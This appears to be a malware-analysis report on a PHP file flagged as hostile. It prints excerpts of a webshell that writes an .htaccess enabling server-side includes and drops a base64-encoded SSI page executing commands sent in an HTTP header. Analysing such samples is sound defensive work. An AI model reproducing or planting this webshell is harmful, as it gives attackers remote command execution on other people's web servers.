Hostile ^100% php-malware-analysis Download

create_pss.php

PHP webshell with command execution

php webshell containing base64 encoded payloadBase64 encoded whoami command

SHA-2563e3e01655c9d82510deb08a6c05ff5a32523b8268661ee1584185f0f8c9219ca

Evidence

Encoded content decoded: base64 lines 1–19

1<?php
2        mkdir('ssim', 0755);
3        chdir('ssim');
4        $kokdosya = "htaccess";
5        $dosya_adi = "{$kokdosya}";
6        $dosya = fopen($dosya_adi, 'w') or die("Dosya a&#231;&#305;lamad&#305;!");
7        $metin = "AddType text/html .shtml\r\nAddHandler server-parsed .shtml\r\nAddOutputFilter INCLUDES .shtml\r\nOptions +Includes";
8        fwrite($dosya, $metin);
9        fclose($dosya);
10        $ssiizo2023 = 'PCEtLSNpZiBleHByPSIkSFRUUF9IQ01EIi0tPjwhLS0jZXhlYyBjbWQ9ImNkICRIVFRQX0hQV0Q7
11ICRIVFRQX0hDTUQgMj4mMSItLT48IS0tI2Vsc2UtLT48aHRtbD48aGVhZD48dGl0bGU+UC5TLlMu
12PC90aXRsZT48c3R5bGUgdHlwZT0idGV4dC9jc3MiPmh0bWwsYm9keSwjanNvbix4bXAsZm9ybSx0
13YWJsZSx0YWJsZSB0ZCxpbnB1dHttYXJnaW46MDtwYWRkaW5nOjA7fWh0bWx7YmFja2dyb3VuZDoj
14MDAwMDAwO30uZXJye3BhZGRpbmc6OHB4O3RleHQtYWxpZ246Y2VudGVyO2JvcmRlcjoxcHggc29s
15aWQgcmVkO2JhY2tncm91bmQ6I2ZmZmZmZjt9I2pzb2Zme21hcmdpbjo1cHggOHB4O30janNvbntk
16aXNwbGF5Om5vbmU7IHBhZGRpbmc6NXB4IDhweDt9eG1wLHRhYmxlLGlucHV0e2ZvbnQ6bm9ybWFs
17IDlwdCAiQ291cmllciBOZXciO2NvbG9yOiNmMGYwZjA7Ym9yZGVyOm5vbmU7fXRhYmxle3dpZHRo
18OjEwMCU7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO30udGRuYnJ7d2hpdGUtc3BhY2U6cHJlO31p
19bnB1dHtvdXRsaW5lOm5vbmU …

English function-word token "for" lines 37–42

37:30… HVlO2lmKGhpc3Qub3B0aW9ucyl7dmFyIGlzVW5pcXVlPXRy
38dWUsb3B0Q291bnQ9aGlzdC5vcHRpb25zLmxlbmd0aDtmb3IodmFyIGk9MDtpPG9wdENvdW50O2kr
39KylpZihoaXN0Lm9wdGlvbnNbaV0udmFsdWU9PWNtZFZhbHVlKXtpc1VuaXF1ZT1mYWxzZTticmVh
40azt9aWYoaXNVbmlxdWUpaGlzdC5hcHBlbmRDaGlsZChuZXcgT3B0aW9uKGNtZFZhbHVlLGNtZFZh
41bHVlKSk7fWlmKGNtZFZhbHVlPT0nY2xlYXInKXtyZXouaW5uZXJIVE1MPScnO2VuZENtZCgpO31l
42bHNlIGlmKGNtZFZhbH …

Compares HTTP response status property to 200 lines 47–51

47:30… mF4LnNldFJlcXVlc3RIZWFkZXIoJ0hDTUQnLGNtZFZhbHVl
48KTthamF4LnNlbmQobnVsbCk7fX1mdW5jdGlvbiBvblN0YXR1c0NoYW5nZSgpe2lmKHRoaXMucmVh
49ZHlTdGF0ZT09NCl7aWYodGhpcy5zdGF0dXM9PTIwMCl7dmFyIHJlcz11c3IrJ0AnK3NydisnOicr
50cHdkKyckICcrdGhpcy5jbWQrJ1xuJztpZih0aGlzLmNtZC5zdWJzdHIoMCwzKT09J2NkICcpe2lm
51KHRoaXMucmVzcG9uc2VUZXh0LmluZGV4T2YoImNhbid0IGNkIi …

Base64 encoded whoami command lines 67–75

67:74… yIv
68PjwvdGQ+PC90cj48L3RhYmxlPjxkYXRhbGlzdCBpZD0iaGlzdCI+PC9kYXRhbGlzdD48aW5wdXQg
69dHlwZT0iaGlkZGVuIiBpZD0idXNyIiB2YWx1ZT0iPCEtLSNleGVjIGNtZD0id2hvYW1pIi0tPiIv
70PjxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJwd2QiIHZhbHVlPSI8IS0tI2V4ZWMgY21kPSJwd2Qi
71LS0+Ii8+PC9mb3JtPjwvZGl2PjwvZGl2PjwvYm9keT48L2h0bWw+PCEtLSNlbmRpZi0tPgo=';
72        $file = fopen("pss_v.1.0_min.shtml", "w+");
73        $write = fwrite($file, base64_decode($ssiizo2023));
74        fclose($file);
75        echo "<iframe src=ssim/pss_v.1.0_min.shtml width=100% height=100% frameborder=0></iframe> ";